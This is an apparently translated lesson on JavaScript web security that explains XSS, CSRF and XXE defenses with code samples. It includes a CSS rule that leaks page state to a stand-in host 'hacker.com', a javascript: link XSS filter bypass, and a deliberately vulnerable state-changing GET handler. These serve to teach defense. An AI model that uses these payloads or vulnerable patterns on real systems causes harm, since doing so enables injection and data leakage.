31 Security What Security Issues Should Js Code and Programs Pay Attention To

31 Security What Security Issues Should JS Code and Programs Pay Attention To #

Hello, I’m Ishikawa.

For most web applications, the functions provided by our programs are publicly accessible. This brings us traffic, but also poses risks to our systems. Moreover, the more attention a application receives, the more likely it is to be targeted by attacks. Therefore, security is a topic that should be taken seriously by any application.

So today, let’s take a look at the security considerations that need to be made in JavaScript. This includes Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and XXE vulnerabilities. Let’s go through these issues one by one and summarize the corresponding security solutions below.

Cross-Site Scripting (XSS) Attack #

Cross-Site Scripting (XSS) attack is a very common type of attack. As the name suggests, it refers to attacks launched through scripts from other websites. To minimize the possibility of XSS vulnerabilities, an important development principle is that we should not allow any unprocessed user-created data to be passed into the DOM. When user-created data must be passed into the DOM, it should be passed as a string whenever possible.

String-Like Check #

There are various ways to check data on the client and server side. One method is to use the built-in function JSON.parse() in JavaScript, which can convert text to JSON objects, and then compare numbers and strings with the converted content. If they match, the check passes. However, the comparison of complex data types like functions will fail, as they do not comply with the JSON-compatible format.

var isStringLike = function(val) {
  try {
     return JSON.stringify(JSON.parse(val)) === val;
  } catch (e) {
    console.log('not string-like');
  }
};

String Sanitization #

It is important to note that while strings/string-like values are not the DOM itself, they can still be interpreted or converted to the DOM. To avoid this, we must ensure that the DOM interprets them as strings or string-like values without conversion.

Therefore, when using the DOM API, it is important to note that any action that converts text to the DOM or executes scripts is a potential XSS attack. We should try to avoid using interfaces such as innerHTML, DOMParser, Blob, and SVG. For example, it is better to use innerText instead of innerHTML for injecting DOM, as innerText sanitizes the content by representing anything that resembles HTML tags as strings.

var userInput = '<strong>hello, world!</strong>';
var div = document.querySelector('#userComment');
div.innerText = userInput; // The tags are interpreted as strings here

HTML Entity Encoding #

Another defense measure is to perform HTML entity encoding on any HTML tags that exist in user-provided data. Entity encoding allows certain specific characters to be displayed in the browser without being interpreted as JavaScript. For example, the encoding for the tags <> is < and >.

CSS Sanitization #

CSS sanitization includes cleansing any CSS properties related to HTTP or only allowing the user to modify specified CSS fields, or simply disallowing the user to upload CSS, as certain properties like background:url can lead to hackers remotely altering the page’s display.

#bankMember[status="vip"] {
  background:url("https://www.hacker.com/incomes?status=vip");
}

Content Security Policies (CSP) #

Content Security Policies (CSP) is a security configuration tool. CSP allows us to list websites that are allowed to dynamically load scripts in a whitelist manner. Implementing CSP is simple. On the backend, it can be achieved by adding the Content-Security-Policy header, and on the frontend, it can be achieved through meta tags.

Content-Security-Policy: script-src "self" https://api.example.com.

<meta http-equiv="Content-Security-Policy" content="script-src https://www.example.com;">

By default, CSP can also prevent any form of inline script execution. When using CSP, be careful not to use eval() or eval()-like strings. While the parameter of eval() is a string, if the string represents a function expression, eval() will evaluate the expression. If the parameter represents one or more JavaScript statements, eval() will execute those statements.

eval("17+9") // 26
var countdownTimer = function(mins, msg) {
  setTimeout(`console.log(${msg});`, mins * 60 * 1000);
};

API to Avoid Whenever Possible #

There are some DOM APIs that should be avoided whenever possible. Let’s take a look at the DOMParser API. It can load the string content from the parseFromString method into DOM nodes. This method can be convenient for loading structured DOM from the server, but it also has security risks. On the other hand, using document.createElement() and document.appendChild() can reduce the risk. Although using these two methods increases manual labor, it provides higher control. In this case, the developer has control over the structure and tag names of the DOM, and the payload is only responsible for the content.

var parser = new DOMParser();
var html = parser.parseFromString('<script>alert("hi");</script>');

The Blob and SVG APIs are also important interfaces to be aware of, as they can store arbitrary data and execute code, making them potential sources of tainted data (sinks). Blobs can store data in various formats, and base64 blobs can store arbitrary data. Scalable Vector Graphics (SVG) is great for displaying consistent images across multiple devices, but because it relies on XML specifications that allow script execution, SVG can launch any type of JavaScript, making it riskier than other types of visual images.

Also, even when injecting strings without tags into the DOM, it is still difficult to ensure that scripts do not find a way in. For example, the following example can bypass checks for tags, single or double quotes, and execute a pop-up script by using colons and String methods to display “XSS”.

<a href="javascript:alert(String.fromCharCode(88,83,83))">click me</a>

Cross-Site Request Forgery (CSRF) #

The above are some defense solutions against cross-site scripting (XSS) attacks. Now let’s take a look at another security risk called Cross-Site Request Forgery (CSRF), which is another area that requires attention.

Request Source Validation #

Since CSRF requests come from outside the application, we can reduce the related risks by checking the request source. In HTTP, there are two headers that can help us check the source of the request: Referer and Origin. These two headers cannot be modified by JavaScript in the browser, so their use can greatly reduce CSRF attacks. The Origin header is only sent in HTTP POST requests and indicates the source of the request. Unlike Referer, this header exists in HTTPS requests as well.

Origin: https://www.example.com:80

The Referer header also indicates the source of the request. It is displayed as follows unless set to rel=noreferer:

Referer: https://www.example.com:80

If possible, you should check both headers. If neither is present, it can be assumed that the request is not a standard request and should be rejected. These two headers are the first line of defense, but there is one situation where they can be bypassed. If the attacker is added to the source whitelist, especially when your website allows user-generated content, additional security measures may be needed to prevent similar attacks.

Use CSRF Tokens #

Using CSRF tokens is another method to prevent Cross-Site Request Forgery. It is also simple to implement, where the server sends a token to the client.

This token is generated using a cryptographic algorithm with a low probability of hash collision, meaning the probability of generating two identical tokens is very low. This token can be regenerated at any time, but it is usually generated once per session and sent back with each request through a form or Ajax. When the request reaches the server, this token is validated, and the validation includes checking for expiration, authenticity, and tampering. Since this token is unique for each session and user, the likelihood of CSRF attacks is greatly reduced when using tokens.

Now let’s take a look at stateless tokens. In the past, especially before the rise of REST APIs, many servers kept a record of connected users so that the server can manage tokens for clients. However, in modern web applications, statelessness is often a prerequisite for API design. By encrypting the CSRF token, it can be easily added to stateless APIs. Like authentication tokens, a CSRF token contains a unique user identifier, a timestamp, and a random password known only to the server. This kind of stateless token is not only more practical but also reduces the use of server resources and the costs associated with session management.

Stateless GET Requests #

Because HTTP GET requests are typically the easiest to exploit for CSRF attacks, designing the structure of APIs correctly can reduce this risk. HTTP GET requests should not store or modify any server-side state as doing so would make future HTTP GET requests or modifications vulnerable to CSRF attacks.

// GET
var user = function(request, response) {
 getUserById(request.query.id).then((user) => {
   if (request.query.updates) { user.update(request.updates); }
   return response.json(user);
 });
};

In the example code, the first API combines two transactions into one request with an optional update, while the second API separates the retrieval and update into GET and POST requests. The first API is likely to be exploited by CSRF attackers, while the second API, although still vulnerable, at least shields off links, images, or other HTTP GET-style attacks.

// GET
var getUser = function(request, response) {
 getUserById(request.query.id).then((user) => {
   return response.json(user);
 });
};
// POST
var updateUser = function(request, response) {
  getUserById(request.query.id).then((user) => {
   user.update(request.updates).then((updated) => {
     if (!updated) { return response.sendStatus(400); }
     return response.sendStatus(200);
   });
 });
};

Holistic CSRF Defense #

According to the principle of weakest link, a system is often as secure as its weakest component. So we need to pay attention to how to build a holistic CSRF defense. Most modern servers allow the creation of middleware that can be routed to before any logic is executed, for all accesses.

This middleware checks the correctness of Origin/Referer mentioned earlier and whether the CSRF token is valid. If the request fails any of these checks, it should be aborted. Only requests that pass the checks can proceed with subsequent execution. Since this middleware depends on the client passing a CSRF token with each request to the server, as an optimization, this check can also be duplicated on the frontend. For example, instead of using the default behavior of XHR, a proxy mode with the token can be used, or a wrapper can be created to encapsulate XHR and the token into a reusable tool.

XXE Vulnerability #

XXE stands for XML External Entity Injection. Preventing this kind of attack is relatively simple. We can defend against this attack by disabling external entities in the XML parser.

setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

For XML parsers based on the Java language, OWASP considers XXE to be particularly dangerous. However, for parsers in other languages, external entities in XML are usually disabled by default. Still, for safety reasons, it is recommended to check the API documentation provided by the programming language to determine if any security measures need to be taken.

If possible, using JSON instead of XML is also a good choice. JSON is lighter and more flexible than XML, which makes payloads quicker and easier to handle.

Summary #

Today, we learned about some common vulnerabilities and attacks in web applications. Network and information security not only affect business operations, but also protect users’ digital assets and privacy. Therefore, it is not excessive to invest a lot of effort into security. In this lesson, we only analyzed some common vulnerabilities from the perspective of web applications. In reality, security is a larger issue that requires systematic thinking.

Thought-provoking question #

Today, we mentioned that both XML and SVG are based on XML Schema. While XML can often be replaced with JSON, do you know what can replace SVG?

Feel free to leave your answer, share your learning experiences, or ask questions in the comments section. If you found today’s content helpful, also consider sharing it with more friends. See you in the next lesson!